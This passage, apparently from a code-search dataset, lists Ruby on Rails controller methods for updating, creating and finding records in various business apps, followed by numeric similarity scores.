"def update\n respond_to do |format|\n if @claimppriorauthorization.update(claimppriorauthorization_params)\n format.html { redirect_to @claimppriorauthorization, notice: 'Claimppriorauthorization was successfully updated.' }\n format.json { render :show, status: :ok, location: @claimppriorauthorization }\n else\n format.html { render :edit }\n format.json { render json: @claimppriorauthorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #parametros_autocomplete!(params[:estudiante][:persona])\n @estudiante = Estudiante.find(params[:id])\n \n begin\n @estudiante.persona_id = params[:persona][:id]\n rescue\n end\n\n respond_to do |format|\n if @estudiante.update_attributes(params[:estudiante])\n format.html { redirect_to @estudiante, notice: 'Estudiante actualizado' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estudiante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_priority\n @priority = Priority.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @pre_contrato.update(pre_contrato_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pre_contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, :notice => 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def priorities\n Sifter.\n get(\"/api/priorities\").\n parsed_response[\"priorities\"]\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, notice: 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_historial_estado_presupuesto\n @historial_estado_presupuesto = HistorialEstadoPresupuesto.find(params[:id])\n end",
"def update\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n if @tipo_pregunta.update(params[:tipo_pregunta])\n head :no_content\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def update\n @preorder = Preorder.find(params[:id])\n\n respond_to do |format|\n if @preorder.update_attributes(params[:preorder])\n format.html { redirect_to @preorder, notice: 'Preorder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preorder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n\n respond_to do |format|\n if @pago.update_attributes(params[:pago])\n format.html { redirect_to [@cliente, @pago], notice: 'Pago was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @prioridade_adocao = PrioridadeAdocao.find(params[:id])\n @prioridade_adocao.destroy\n\n respond_to do |format|\n format.html { redirect_to prioridade_adocoes_url }\n format.json { head :no_content }\n end\n end",
"def update\n @questionnaire = current_questionnaire\n @questionnaire.step += 1\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to new_questionnaire_path }\n # format.json { head :no_content }\n else\n format.html { render \"questionnaires/steps/step#{@questionnaire.step - 1}\" }\n # format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def set_preorder\n @preorder = Preorder.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @predio.update(predio_params)\n format.html { redirect_to @predio, notice: 'Predio foi alterado com sucesso.' }\n format.json { render :show, status: :ok, location: @predio }\n else\n format.html { render :edit }\n format.json { render json: @predio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_params\n #json_data = request.raw_post()\n #params.require(:reference_number).permit(:name, :email, :twitter)\n params.permit(:dependents)\n end",
"def update\n @presupuesto = Presupuesto.find(params[:id])\n @trabajo = @presupuesto.trabajo\n \n es_el_proveedor = false\n if proveedor_signed_in?\n es_el_proveedor = @presupuesto.proveedor_id.eql?(current_proveedor.perfilable_id)\n end\n \n @path = @presupuesto\n respond_to do |format|\n if es_el_proveedor and not(@presupuesto.rechazado or @presupuesto.aprobado)\n if @presupuesto.update_attributes(params[:presupuesto])\n flash[:success] = \"Presupuesto actualizado satisfactoriamente.\"\n format.html { redirect_to @presupuesto }\n format.json { head :no_content }\n else\n flash[:error] = \"Ocurrió un error. Revisa el formulario.\"\n format.html { render action: \"edit\" }\n format.json { render json: @presupuesto.errors, status: :unprocessable_entity }\n end\n else\n flash[:warning] = \"No tienes permiso para editar la información del presupuesto.\"\n format.html { redirect_to @presupuesto }\n end\n end\n end",
"def update\n @thema = Thema.find(params[:id])\n @themen = @thema.themengruppe.themen.order(:priority).reverse\n respond_to do |format|\n if @thema.update_attributes(params[:thema])\n format.html { redirect_to @thema, notice: 'Thema was successfully updated.' }\n format.json { head :no_content }\n format.js \n else\n format.html { render action: \"edit\" }\n format.json { render json: @thema.errors, status: :unprocessable_entity }\n format.js { render action: \"edit\" }\n end\n end\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to(@premio, :notice => 'Premio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_reqpriority\n @reqpriority = Reqpriority.find(params[:id])\n end",
"def show\n @prioridade_adocao = PrioridadeAdocao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end",
"def update\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n if @comentario.update_attributes(params[:comentario])\n format.html do \n redirect_to pregunta_url(@pid, :anchor => \"comentario-#{@comentario.id}\")\n end\n format.json { head :no_content }\n else\n format.html do\n @editing_comentario = true\n @pregunta = Pregunta.find(@pid)\n render template: \"preguntas/show\" \n end\n format.json { render json: @comentario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_preorder_conversition\n @preorder_conversition = @preorder_conversitions.find(params[:id])\n end",
"def set_pre\n @pre = Pre.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @reqpriority.update(reqpriority_params)\n format.html { redirect_to @reqpriority, notice: 'Reqpriority was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reqpriority.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t@historia = Historiausuario.new(historia_params)\n\t @proyecto = Proyecto.find(historia_params[:proyecto_id])\n @numhistorias=@proyecto.historiausuarios.count()\n @historia.update(His_Prioridad: (@numhistorias-1));\n\tif @historia.save\n\t\tflash[:notice] = \"Historia creada satisfactoriamente\"\n\t\tredirect_to project_details_path(:id => historia_params[:proyecto_id] )\n\telse \n\t\tflash[:alert] = \"No se puede crear la historia\"\n\t\tredirect_to project_details_path(:id => historia_params[:proyecto_id] )\n\tend\nend",
"def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ventas_presupuesto = Ventas::Presupuesto.find(params[:id])\n\n respond_to do |format|\n if @ventas_presupuesto.update_attributes(params[:ventas_presupuesto])\n format.html { redirect_to @ventas_presupuesto, notice: 'Presupuesto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ventas_presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n if @sugerencia.update_attributes(params[:sugerencia])\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n #byebug\n\n pregao = Pregao.where('data = ?', pregoestitulo_params[\"date\"]).first\n\n #byebug\n\n if pregao.blank?\n pregao = Pregao.new\n pregao.data = pregoestitulo_params[\"date\"]\n pregao.flagativo = true\n pregao.save\n end\n \n @pregoestitulo.pregao_id = pregao.id \n\n respond_to do |format|\n if @pregoestitulo.update(pregoestitulo_params)\n format.html { redirect_to pregoestitulos_path, notice: 'Título alterado com sucesso.' }\n format.json { render :show, status: :ok, location: @pregoestitulo }\n else\n format.html { render :edit }\n format.json { render json: @pregoestitulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate = Plate.find(params[:id])\n count = 0\n if params[:plate][:horario] != nil\n params[:plate][:horario].each do |x|\n count += x.to_i\n end\n end \n respond_to do |format|\n if @plate.update_attributes(params[:plate])\n @plate.horario = count\n @plate.save\n format.html { redirect_to cuaplates_path, notice: 'El plato fue actualizado' }\n else\n format.html { redirect_to cuaplates_path , notice: 'Error al actualizar al plato. Puede ser debido al formato de la imagen adjunta.'}\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:presentacion][:activo]\n id = params[:id]\n Presentacion.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def set_requisito\n @objeto = Requisito.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @trpriority.update(trpriority_params)\n format.html { redirect_to @trpriority, notice: 'Trpriority was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trpriority.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pagos_servicio = PagosServicio.new(pagos_servicio_params)\n respond_to do |format|\n if @pagos_servicio.save\n @caja = Caja.where(estado: 0).last\n @mov_caja = MovCaja.create!(caja_id: @caja.id, concepto: @pagos_servicio.servicio, ingreso: 0, egreso: @pagos_servicio.monto, saldo: @caja.cierre.to_i - @pagos_servicio.monto.to_i)\n @caja.update(cierre: @caja.cierre.to_i - @pagos_servicio.monto.to_i, salida: @caja.salida.to_i + @pagos_servicio.monto.to_i)\n format.html { redirect_to @pagos_servicio, notice: 'Se ha registrado el pago correctamente.' }\n format.json { render :show, status: :created, location: @pagos_servicio }\n else\n format.html { render :new }\n format.json { render json: @pagos_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def incident_params\n params.require(:incident).permit(:tipo, :descripcion, :prioridad)\n end",
"def update\n @categorias = CategoriaObjeto.all.order(:nome).map { |categoria| [categoria.nome, categoria.id]}.prepend(['Selecione uma categoria', 0])\n \n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @realiza = Realiza.find(params[:id])\n @pagamento=Pagamento.new(:servico_id=>@realiza.servico_id,:cliente_id=>@realiza.cliente_id,:valor=>@realiza.servico.preco,\n :formapagamentoe_id=>params[:pagamento])\n respond_to do |format|\n if @realiza.update_attributes(params[:realiza]) and @pagamento.save\n format.html { redirect_to @realiza, notice: 'Realiza was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realiza.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_predio\n @predio = Predio.find(params[:id])\n end",
"def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, notice: 'Orçamento instantâneo atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @requisicao = Requisicao.find(params[:id])\n @periodos = Periodo.all.collect{|p|[\"#{t p.inicio.strftime(\"%B\")} - #{t p.fim.strftime(\"%B\")}\",p.id]}\n respond_to do |format|\n if @requisicao.update_attributes(params[:requisicao])\n format.html { redirect_to(@requisicao, :notice => 'Requisicao atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @requisicao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def create\n @requerimiento = Requerimiento.new(params[:requerimiento])\n @requerimiento.numero = Requerimiento.maximum(:numero) + 1\n \n respond_to do |format|\n if @requerimiento.save\n format.html { redirect_to \"#{requerimientos_path}/#{@requerimiento.numero}\", notice: 'Requerimiento was successfully created.' }\n format.json { render json: @requerimiento, status: :created, location: @requerimiento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requerimiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @frequencia_setor = Frequencia::Setor.find(params[:id])\n\n respond_to do |format|\n if @frequencia_setor.update_attributes(params[:frequencia_setor])\n format.html { redirect_to(@frequencia_setor, :notice => 'Setor atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @frequencia_setor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @cliente = Cliente.new(cliente_params)\n @cliente.update estado: true\n\n respond_to do |format|\n if @cliente.save\n @last_cliente = Cliente.last\n @last_cliente.id = @last_cliente.id\n @cliente.update cliente_id: @last_cliente.id\n\n print @last_cliente.id\n format.html { redirect_to @cliente, notice: 'El cliente fue creado.' }\n format.json { render :show, status: :created, location: @cliente }\n else\n format.html { render :new }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def atividade_params\n params.require(:atividade).permit(:nome, :tipo, :descricao, :observacao, :acompanhamento, :status, :oportunidade_id, :prioridade, :data_prevista_inicio, :data_realizada_fim, :data_realizada, :cliente_potencial_id)\n end",
"def update\n @orientation = Orientation.find(params[:id])\n volunteer = nil\n \n if !params[:id].nil?\n params.each do |p|\n if p[0].to_s.match(\"delOrien_*\")\n id = p[0].to_s.slice(9..-1).to_i\n volunteer = Volunteer.find(id) \n volunteer.orientation.numCurrParticipant = volunteer.orientation.numCurrParticipant - 1\n volunteer.orientation.save\n \n\n volunteer.orientation_id = 1\n volunteer.save\n \n #volunteer.orientation.numCurrParticipant = volunteer.orientation.numCurrParticipant + 1\n #volunteer.orientation.save\n elsif p[0].to_s.match(\"addOrien_*\")\n id = p[0].to_s.slice(9..-1).to_i\n volunteer = Volunteer.find(id)\n\n \n #volunteer.orientation.numCurrParticipant = volunteer.orientation.numCurrParticipant - 1\n #volunteer.orientation.save\n \n\n\t volunteer.orientation_id = params[p[0]][:id]\n\t volunteer.save\n \n volunteer.orientation.numCurrParticipant = volunteer.orientation.numCurrParticipant + 1\n volunteer.orientation.save\n end\n end\n end\n #@orientation2 = Orientation.find(volunteer.orientation_id)\n #@orientation2.numCurrParticipant = @orientation2.volunteers.length\n #@orientation.save\n #@orientation2.save\n\n\n# volunteer = nil\n# if !params[:id].nil?\n# params.each do |p|\n \n# if p[0].to_s.match(\"addOrien_*\")\n# id = p[0].to_s.slice(9..-1).to_i\n# volunteer = Volunteer.find(id)\n# volunteer.orientation_id = params[p[0]][:id]\n# volunteer.save\n \n \n \n \n# orient = Orientation.find(params[p[0]][:id])\n# myid = orient.id\n# puts \"ORIENTATIONNNNNNNNNNNNNNNNNNNN\"\n \n# puts orient.numCurrParticipant\n# orient.numCurrParticipant = orient.numCurrParticipant + 1\n# puts orient.numCurrParticipant\n \n# @orientation.save\n# end\n \n# end\n\n \n respond_to do |format|\n if @orientation.update_attributes(params[:orientation])\n format.html { redirect_to @orientation, notice: 'Orientation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orientation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @before_intership = BeforeIntership.find(params[:id])\n\n respond_to do |format|\n if @before_intership.update_attributes(params[:before_intership])\n format.html { redirect_to @before_intership, notice: 'Before intership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @before_intership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @requerimiento = Requerimiento.find(params[:id])\n\n respond_to do |format|\n if @requerimiento.update_attributes(params[:requerimiento])\n format.html { redirect_to \"#{requerimientos_path}/#{@requerimiento.numero}\", notice: 'Requerimiento was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requerimiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_requisito\n @requisito = Requisito.find(params[:id])\n end",
"def set_trpriority\n @trpriority = Trpriority.find(params[:id])\n end",
"def update\n @breadcrumb = 'update'\n @prereading = PreReading.find(params[:id])\n r_params = params[:pre_reading]\n r_index = params[:pre_reading][:reading_index] unless r_params.blank?\n r_date = params[:pre_reading][:reading_date] unless r_params.blank?\n if params[\"pre_reading\"]\n if !params[\"pre_reading\"][\"reading_index\"]\n @prereading.reading_index = !Reading.where(subscriber_id: @prereading.subscriber_id, reading_type_id: ReadingType.auto_registrable).where(\"reading_date < ?\", r_date.to_date).order(:reading_date).last.blank? ? Reading.where(subscriber_id: @prereading.subscriber_id, reading_type_id: ReadingType.auto_registrable).where(\"reading_date < ?\", r_date.to_date).order(:reading_date).last.reading_index : 0\n @prereading.reading_type_id = ReadingType::AUTO\n else\n @prereading.reading_type_id = ReadingType::NORMAL\n end\n end\n @prereading.pre_reading_incidences.destroy_all\n if params[\"incidence_type_ids\"]\n # @prereading.reading_incidence_types.destroy_all\n # @prereading.reading_incidence_types << ReadingIncidenceType.where(id:params[\"incidence_type_ids\"])\n params[\"incidence_type_ids\"].each do |i|\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: i)\n end\n end\n\n if !r_params.blank?\n if !r_index.blank?\n # añadir incidencia vuelta de contador y no existe. ID\n if params[:lap] == \"true\" and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include? 1\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 1)\n end\n if !r_index.blank?\n if r_index.to_i < @prereading.reading_index_1 and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include? 1\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 1)\n end\n\n if !@prereading.reading_1_id.blank? && Reading.find(@prereading.reading_1_id).reading_type_id != ReadingType::INSTALACION\n conbaj = (@prereading.reading_1.consumption / 2)\n conexc = (@prereading.reading_1.consumption * 2)\n\n if @prereading.reading_index_1 <= r_index.to_i\n consumption = r_index.to_i - @prereading.reading_index_1\n else\n # vuelta de contador\n consumption = (((10 ** @prereading.meter.meter_model.digits)-1) - @prereading.reading_index_1) + r_index.to_i\n end\n\n # consumo excesivo\n if consumption > conexc and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include? 21\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 21)\n end\n\n # bajo consumo\n if consumption < conbaj and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include? 22\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 22)\n end\n end\n end\n\n # Consumo Excesivo\n if params[:lapconexs] == \"true\" and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include? 21\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 21)\n end\n # Bajo Consumo\n if params[:lapconbaj] == \"true\" and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include? 22\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 22)\n end\n\n # fuera de plazo\n if params[:lapdate] == \"true\" and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include? 27\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 27)\n end\n if !r_date.blank? && !@prereading.billing_period.reading_starting_date.blank? && !@prereading.billing_period.reading_ending_date.blank?\n if @prereading.reading_1 and @prereading.reading_1.reading_date and @prereading.reading_1.reading_date < r_date.to_date\n if r_date.to_date.between?(@prereading.billing_period.reading_starting_date, @prereading.billing_period.reading_ending_date) and !@prereading.pre_reading_incidences.map(&:reading_incidence_type_id).include?(27)\n else\n @prereading.pre_reading_incidences.create(pre_reading_id: @prereading.id, reading_incidence_type_id: 27)\n end\n end\n end\n end\n end\n\n respond_to do |format|\n if @prereading.update_attributes(params[:pre_reading])\n # format.html { redirect_to @prereading, notice: t('activerecord.attribute.sale_offer.successfully') }\n format.json { render json: @prereading.to_json( include: :pre_reading_incidences ) }\n else\n # format.html { render action: \"edit\" }\n format.json { render json: @prereading.errors.full_messages.join(\" ,\"), status: :unprocessable_entity }\n end\n end\n end",
"def update\n update_resource_response(@headline, headline_params)\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n head 404\n # @api_v1_follower = Api::V1::Follower.find(params[:id])\n\n # if @api_v1_follower.update(api_v1_follower_params)\n # head :no_content\n # else\n # render json: @api_v1_follower.errors, status: :unprocessable_entity\n # end\n end",
"def set_claimppriorauthorization\n @claimppriorauthorization = Claimppriorauthorization.find(params[:id])\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n f_inicio_vieja = @contrato.fecha_inicio\n f_fin_vieja = @contrato.fecha_fin\n respond_to do |format|\n if @contrato.update(contrato_params)\n f_inicio_nueva = @contrato.fecha_inicio\n f_fin_nueva = @contrato.fecha_fin\n if f_inicio_nueva < f_inicio_vieja\n @contrato.anadir_conceptosdepago(f_inicio_nueva, f_inicio_vieja)\n elsif f_fin_nueva > f_fin_vieja\n @contrato.anadir_conceptosdepago(f_fin_vieja, f_fin_nueva)\n end\n format.html { redirect_to @contrato, notice: 'Contrato fue actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @contrato }\n else\n format.html { render :edit }\n format.json { render json: @contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @volunteer = Volunteer.new(params[:volunteer])\n @volunteer.status = \"New\"\n \n respond_to do |format|\n if @volunteer.save\n @volunteer.orientation.numCurrParticipant = @volunteer.orientation.numCurrParticipant + 1\n\t@volunteer.orientation.save\n format.html { \n redirect_to @volunteer, \n notice: \"Volunteer was successfully created.\" }\n format.json { \n render json: @volunteer, status: :created, location: @volunteer }\n else\n format.html { render action: \"new\" }\n format.json { \n render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(requisito_params)\n format.html { redirect_to @objeto, notice: \"Requisito was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pago = Pago.find(params[:id])\n\n respond_to do |format|\n if @pago.update_attributes(params[:pago])\n format.html { redirect_to(@pago, :notice => 'Pago was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pago.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n if @propose.update_attributes(params[:propose])\n format.html { redirect_to @propose, notice: 'Propuesta actualizada' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @propose.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @requirement_priority = RequirementPriority.find(params[:id])\n\n respond_to do |format|\n if @requirement_priority.update_attributes(params[:requirement_priority])\n format.html { redirect_to @requirement_priority, :notice => 'Requirement priority was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @requirement_priority.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @puntuation = Puntuation.new(puntuation_params)\n\n respond_to do |format|\n if @puntuation.save\n @voted_contribution = Contribution.find(@puntuation.contribution_id)\n @voted_contribution.increment!(:puntuation, 1)\n format.html { redirect_to :back }\n format.json { render :show, status: :created, location: @puntuation }\n else\n format.html { render :new }\n format.json { render json: @puntuation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_pregoestitulo\n @pregoestitulo = Pregoestitulo.find(params[:id])\n end",
"def set_estado_presupuesto\n @estado_presupuesto = EstadoPresupuesto.find(params[:id])\n end",
"def resource_params\n params.require(:tratamiento).permit(:tipo)\n end",
"def update\n @cliente.pessoa = @cliente.pessoa.specific\n if @cliente.update(cliente_params)\n redirect_to @cliente, notice: \"Cliente alterado com sucesso\"\n else\n render :edit\n end\n end",
"def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @resources = args[:resources] if args.key?(:resources)\n end",
"def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @resources = args[:resources] if args.key?(:resources)\n end",
"def update\n @produto = Produto.find(params[:id])\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.update_attributes(params[:produto])\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_relation(args)\n\tapi_url = \"#{@base_url}/#{args[:coll_A]}/#{args[:key_A]}/relation/\" +\n\t \"#{args[:relation]}/#{args[:coll_B]}/#{key_B}\"\n\tputs do_the_put_call( url: api_url, user: @user, json: '{}')\nend",
"def update\n @status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])\n\n respond_to do |format|\n if @status_de_la_inscripcion.update_attributes(params[:status_de_la_inscripcion])\n format.html { redirect_to @status_de_la_inscripcion, notice: 'Status de la inscripcion was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status_de_la_inscripcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n if @tipo_contrato.update_attributes(params[:tipo_contrato])\n format.html { redirect_to tipo_contratos_path, notice: 'Tipo de contrato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_contrato.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7031581",
"0.7014665",
"0.6580757",
"0.6563585",
"0.63650113",
"0.6196224",
"0.6007768",
"0.5863597",
"0.5685698",
"0.563704",
"0.56051916",
"0.55289173",
"0.53719133",
"0.5347442",
"0.5304482",
"0.52856016",
"0.52787614",
"0.5269795",
"0.52475905",
"0.52205443",
"0.52063704",
"0.51949024",
"0.51661277",
"0.5153093",
"0.5144437",
"0.513829",
"0.5133239",
"0.5125054",
"0.5110849",
"0.51096207",
"0.5081248",
"0.50687945",
"0.5049753",
"0.5047741",
"0.50463116",
"0.5044099",
"0.50384074",
"0.50297457",
"0.5019443",
"0.5017274",
"0.5016614",
"0.5013645",
"0.5004939",
"0.49981725",
"0.49968472",
"0.4987086",
"0.49835256",
"0.49801022",
"0.4977542",
"0.49628738",
"0.4961912",
"0.49601746",
"0.49575648",
"0.49516705",
"0.4951117",
"0.49478084",
"0.49468863",
"0.49452198",
"0.4930839",
"0.4919077",
"0.49177954",
"0.4917518",
"0.4915812",
"0.49065453",
"0.48973748",
"0.4885012",
"0.48831046",
"0.48791075",
"0.48736742",
"0.4872776",
"0.48717418",
"0.48670024",
"0.48644698",
"0.4856214",
"0.4855411",
"0.48549858",
"0.48534733",
"0.48526543",
"0.4849465",
"0.48411092",
"0.48376125",
"0.48241904",
"0.4823388",
"0.48230466",
"0.48222217",
"0.482027",
"0.481708",
"0.48137897",
"0.48134544",
"0.48116663",
"0.48082483",
"0.48040843",
"0.4802463",
"0.47998062",
"0.47921866",
"0.47921866",
